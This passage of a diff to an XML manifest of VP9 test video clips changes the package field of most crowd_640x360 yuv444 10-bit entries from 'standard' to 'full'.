-    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41970,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41970,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=45638,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=45638,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41789,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=38696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=38696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44597,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44597,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=271344,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=271344,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=14596310,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2295539,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37611,172 +37611,172 @@
     <value>mime=video/x-vnd.on2.vp9,size=14596310,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1134633,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=615052,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=615052,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=285696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=285696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=453642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=453642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=124199,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=124199,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43425,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43425,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9943,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9943,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42252,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42252,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42272,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42272,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42255,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42255,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42260,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42260,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42087,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42087,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42212,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42212,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42291,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42291,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=36669,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=36669,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41880,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41880,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42052,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42052,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42338,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42338,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40487,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40487,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40766,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40766,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41955,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41955,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41980,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41980,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42074,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42074,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42335,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42335,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42098,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41879,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41879,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=45622,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=45622,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41972,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=38574,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=38574,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44597,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44597,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=271344,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=271344,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=14588240,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2295405,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37785,172 +37785,172 @@
